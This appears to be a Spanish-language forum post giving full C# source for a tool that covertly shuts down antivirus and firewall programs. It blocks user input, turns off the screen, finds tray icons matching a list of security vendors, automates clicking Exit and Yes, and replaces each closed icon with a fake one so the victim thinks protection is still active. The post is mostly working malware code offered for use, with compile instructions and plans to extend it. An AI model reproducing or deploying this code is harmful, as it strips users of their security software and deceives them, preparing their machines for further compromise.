Funciona para el Kerio Firewall 2.1.5, para el Panda 2009, y en general debería para todos los que se desactiven haciendo click con el botón derecho y dándole a Exit o Salir. PROBLEMA: Depende un poco de cómo reaccione el usuario, si empieza a mover el ratón puede que se le active la pantalla y vea el pastel, aunque no podrá hacer nada porque tiene el ratón bloqueado. Si en vez de Thread.Sleeep() utilizará otro thread o algo así igual iría mejor.
También se podría modificar para otros como el NOD32, diciendo dónde debe hacer click para desactivarlo. Ya lo explicaré la próxima semana.
Para compilarlo, hay que abrir un nuevo proyecto de C#, y MUY IMPORTANTE, añadir esto en Form1.Designer.cs (o como se llame el diseñador de tu form) donde pone InitializeComponent()
Código
private void InitializeComponent()
{
NativeMethods.BlockInput(true);
// Turn off screen so user doesn't see what's happening
NativeMethods.SendMessage(Process.GetCurrentProcess().Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 2);
this.components = new System.ComponentModel.Container();
Código
using System;
using System.Text;
using System.Windows;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Threading;
using System.Drawing;
using System.Windows.Forms;
namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
static readonly string[] LowNames =
{
"Avira", "AOL", "Avast", "AVG", "Kaspersky", "BitDefender", "BullGuard", "Clam",
"Comodo", "Fortinet", "Secure", "Prot", "McAfee", "NOD32", "Norman", "Norton",
"Panda", "PC Tools", "Sophos", "Vba32", "VIPRE", "Virus", "ZoneAlarm", "Kerio",
"Antivirus", "Firewall", "Ninja", "Spyware"
};
public const uint WM_MENUSELECT = 0x11F;
public const uint WM_COMMAND = 0x111;
public const uint MF_BYCOMMAND = 0x000;
public const uint MF_BYPOSITION = 0x400;
public const uint MN_GETHMENU = 0x1E1;
public const uint MOUSEEVENTF_LEFTDOWN = 0x002;
public const uint MOUSEEVENTF_LEFTUP = 0x004;
public const uint SC_MONITORPOWER = 0xF170;
public const uint WM_SYSCOMMAND = 0x0112;
private static IntPtr _systray = IntPtr.Zero;
private static int TrayItemCount;
private static TrayIconData[] ButtonData;
private static int mainId = 0;
private static bool killIt = false;
public Form1()
{
InitializeComponent();
NativeMethods.EnumWindowsProc popupMenu = new NativeMethods.EnumWindowsProc(FindPopupMenu);
NativeMethods.EnumWindowsProc yesDialog = new NativeMethods.EnumWindowsProc(FindDialogWin);
// Get data from system tray
GetTrayData(out ButtonData);
for (int i = TrayItemCount - 1; i >= 0; i--)
{
for (int j = 0; j < LowNames.Length; j++)
{
if (ButtonData[i].Text.ToLower().Contains(LowNames[j].ToLower()))
killIt = true;
}
if (killIt)
{
// Set the pID for the process that is going to be shutdown
NativeMethods.GetWindowThreadProcessId(ButtonData[i].traydata.hwnd, out mainId);
NotifyIcon dynamicIcon = new NotifyIcon();
dynamicIcon.Icon = Icon.FromHandle(ButtonData[i].traydata.hIcon);
if (ButtonData[i].Text.Length > 60)
{
dynamicIcon.Text = ButtonData[i].Text.Substring(0, 60);
}
else
{
dynamicIcon.Text = ButtonData[i].Text;
}
this.components.Add(dynamicIcon);
RightClickEvent(ButtonData[i]);
// wait until the popup menu window appears
Thread.Sleep(500);
this.Activate();
// check window by window until we find the popup menu
NativeMethods.EnumWindows(popupMenu, 0);
Process myProcesses = Process.GetProcessById(mainId);
//Check to see if the process array length is greater than 0
if (!myProcesses.HasExited)
{
Thread.Sleep(500);
this.Activate();
NativeMethods.EnumWindows(yesDialog, 0);
}
if (myProcesses.HasExited)
{
// If we have closed an application, we must update the information for the tray
GetTrayData(out ButtonData);
// As the removed an icon, we must check again the same position
i = i + 1;
}
// We make our fake icon visible
dynamicIcon.Visible = true;
killIt = false;
}
}
NativeMethods.BlockInput(false);
}
public static void GetTrayData(out TrayIconData[] ButtonData)
{
_systray = FindTray();
TrayItemCount = GetTrayIconCount();
ButtonData = getButtons();
}
private static IntPtr FindTray()
{
IntPtr hwndParent = NativeMethods.FindWindow("Shell_TrayWnd", null);
IntPtr hwndTray = NativeMethods.FindWindowEx(hwndParent, IntPtr.Zero, "TrayNotifyWnd", null);
IntPtr hwndPager = NativeMethods.FindWindowEx(hwndTray, IntPtr.Zero, "SysPager", null);
hwndParent = NativeMethods.FindWindowEx(hwndPager, IntPtr.Zero, "ToolbarWindow32", null);
return hwndParent;
}
private static int GetTrayIconCount()
{
uint TB_BUTTONCOUNT = 0x418;
int iconCount = (int)NativeMethods.SendMessage(_systray, TB_BUTTONCOUNT, IntPtr.Zero, IntPtr.Zero);
return iconCount;
}
private static unsafe TrayIconData[] getButtons()
{
byte[] buffer = new byte[4096];
TrayIconData[] data = new TrayIconData[1];
//Find Explorer’s PID
int ExplorerPID = 0;
NativeMethods.GetWindowThreadProcessId(_systray, out ExplorerPID);
//Hence get an hProcess
IntPtr hProcess = NativeMethods.OpenProcess(2035711, false, ExplorerPID);
if (hProcess != IntPtr.Zero)
{
//Allocate some memory for the button data
IntPtr butt = NativeMethods.VirtualAllocEx(hProcess, IntPtr.Zero, new UIntPtr(4096), 4096, 4);
int length = TrayItemCount;
data = new TrayIconData[length];
for (int id = 0; id < length; id++)
{
data[id] = new TrayIconData();
fixed (TBBUTTON* tbbuttonRef = &data[id].button)
{
IntPtr lpBuffer = new IntPtr((void*)tbbuttonRef);
//Get the button data for the id-th button, let it get written to the memory we allocated
NativeMethods.SendMessage(_systray, 1047, new IntPtr(id), butt);
int num = 0;
IntPtr lpNumberOfBytesRead = new IntPtr((void*)&num);
//Read the data back in to our TBBUTTON structure
if (NativeMethods.ReadProcessMemory(hProcess, butt, lpBuffer, new UIntPtr((uint)sizeof(TBBUTTON)), out lpNumberOfBytesRead))
{
//Create a fixed TRAYDATA structure
fixed (TRAYDATA* traydataRef = &data[id].traydata)
{
IntPtr ptr5 = new IntPtr((void*)traydataRef);
//Read the value back in to our TRAYDATA structure
NativeMethods.ReadProcessMemory(hProcess, new IntPtr(data[id].button.dwData), ptr5, new UIntPtr((uint)sizeof(TRAYDATA)), out lpNumberOfBytesRead);
}
fixed (byte* numRef = buffer)
{
//Get the button's text in to the allocated memory
int len = (int)NativeMethods.SendMessage(_systray, 1099, (IntPtr)data[id].button.idCommand, butt);
if (len != -1)
{
//And read it back, putting it in the text object
IntPtr ptr6 = new IntPtr((void*)numRef);
if (NativeMethods.ReadProcessMemory(hProcess, butt, ptr6, new UIntPtr(4096), out lpNumberOfBytesRead))
data[id].Text = Marshal.PtrToStringAuto(ptr6, len);
else
data[id].Text = "";
}
else
data[id].Text = "";
}
}
}
}
NativeMethods.VirtualFreeEx(hProcess, butt, UIntPtr.Zero, 32768);
}
return data;
}
public static void RightClickEvent(TrayIconData ButtonData)
{
NativeMethods.PostMessage(ButtonData.traydata.hwnd, ButtonData.traydata.uCallbackMessage, (int)ButtonData.traydata.uID, 0x204);
NativeMethods.PostMessage(ButtonData.traydata.hwnd, ButtonData.traydata.uCallbackMessage, (int)ButtonData.traydata.uID, 0x205);
//NativeMethods.SetForegroundWindow(ButtonData.traydata.hwnd);
}
public static bool FindPopupMenu(IntPtr hWnd, int lParam)
{
StringBuilder className = new StringBuilder(0x20);
int pId = 0;
// Get window's parent process ID
NativeMethods.GetWindowThreadProcessId(hWnd, out pId);
// Check if the parent is the one we are looking for
if (mainId == pId)
{
// Check if the window is a popup menu
NativeMethods.GetClassName(hWnd, className, 0x20);
if (className.ToString().Equals("#32768"))
{
// Get coordinates for the window and click in its last item
RECT coor = new RECT();
NativeMethods.GetWindowRect(hWnd, out coor);
NativeMethods.SetCursorPos(coor.Right - 10, coor.Bottom - 10);
NativeMethods.mouse_event(MOUSEEVENTF_LEFTDOWN, coor.Right - 10, coor.Bottom - 10, 0, 0);
NativeMethods.mouse_event(MOUSEEVENTF_LEFTUP, coor.Right - 10, coor.Bottom - 10, 0, 0);
}
}
return (true);
}
public static bool FindDialogWin(IntPtr hWnd, int lParam)
{
NativeMethods.EnumWindowsProc yesButtonWindow = new NativeMethods.EnumWindowsProc(FindYesButton);
StringBuilder className = new StringBuilder(0x20);
int pId = 0;
// Get window's parent process ID
NativeMethods.GetWindowThreadProcessId(hWnd, out pId);
// Check if the parent is the one we are looking for
if (mainId == pId)
{
// Check if the window is a dialog menu
NativeMethods.GetClassName(hWnd, className, 0x20);
NativeMethods.EnumChildWindows(hWnd, yesButtonWindow, 0);
}
return (true);
}
public static bool FindYesButton(IntPtr hWnd, int lParam)
{
StringBuilder windowName = new StringBuilder(0x20);
// Check if the window is a button
NativeMethods.GetWindowText(hWnd, windowName, 0x20);
if ((windowName.ToString().Contains("Sí")) || (windowName.ToString().Contains("Yes")))
{
// Get coordinates for the window and click it
RECT coor = new RECT();
NativeMethods.GetWindowRect(hWnd, out coor);
NativeMethods.SetCursorPos(coor.Right - 10, coor.Bottom - 10);
NativeMethods.mouse_event(MOUSEEVENTF_LEFTDOWN, coor.Right - 10, coor.Bottom - 10, 0, 0);
NativeMethods.mouse_event(MOUSEEVENTF_LEFTUP, coor.Right - 10, coor.Bottom - 10, 0, 0);
}
return (true);
}
internal static class NativeMethods
{
// Lot of API's definitions
[DllImport("user32.dll", SetLastError = true)]
internal static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32.dll", SetLastError = true)]
internal static extern IntPtr FindWindowEx(IntPtr hwndParent, IntPtr hwndChildAfter, string lpszClass, string lpszWindow);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = false)]
internal static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll")]
public static extern void SendMessage(IntPtr hWnd, uint hMsg, uint wParam, int lParam);
[DllImport("user32.dll", SetLastError = true)]
internal static extern uint GetWindowThreadProcessId(IntPtr hWnd, out int lpdwProcessId);
[DllImport("kernel32.dll")]
internal static extern IntPtr OpenProcess(uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
internal static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
internal static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, UIntPtr dwSize, out IntPtr lpNumberOfBytesRead);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
internal static extern bool VirtualFreeEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint dwFreeType);
[return: MarshalAs(UnmanagedType.Bool)]
[DllImport("user32.dll", SetLastError = true)]
internal static extern bool PostMessage(IntPtr hWnd, uint Msg, int wParam, int lParam);
[DllImport("user32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
internal static extern bool DestroyIcon(IntPtr hIcon);
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
internal static extern bool SetForegroundWindow(IntPtr hWnd);
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
internal static extern bool GetWindowRect(IntPtr hWnd, out RECT lpRect);
[DllImport("user32.dll")]
public static extern int GetForegroundWindow();
[DllImport("user32.dll")]
public static extern int EnumWindows(EnumWindowsProc ewp, int lParam);
[DllImport("user32.dll", SetLastError = true)]
public static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount);
[DllImport("user32.dll")]
public static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
[DllImport("user32.dll")]
public static extern bool SetCursorPos(int X, int Y);
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern void mouse_event(uint dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);
[DllImport("user32.dll")]
public static extern bool BlockInput(bool fBlockIt);
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool EnumChildWindows(IntPtr hwndParent, EnumWindowsProc lpEnumFunc, int lParam);
public delegate bool EnumWindowsProc(IntPtr hWnd, int lParam);
}
[StructLayout(LayoutKind.Sequential)]
public struct TRAYDATA
{
public IntPtr hwnd;
public uint uID;
public uint uCallbackMessage;
private uint Reserved;
private uint Reserved2;
public IntPtr hIcon;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct TBBUTTON
{
public int iBitmap;
public int idCommand;
public byte fsState;
public byte fsStyle;
public byte bReserved0;
public byte bReserved1;
public int dwData;
public int iString;
}
public class TrayIconData
{
public TrayIconData()
{
button = new TBBUTTON();
traydata = new TRAYDATA();
Text = " ";
}
public TBBUTTON button;
public TRAYDATA traydata;
public string Text;
}
[StructLayout(LayoutKind.Sequential)]
public struct RECT
{
public int Left;
public int Top;
public int Right;
public int Bottom;
}
}
}










Autor


En línea













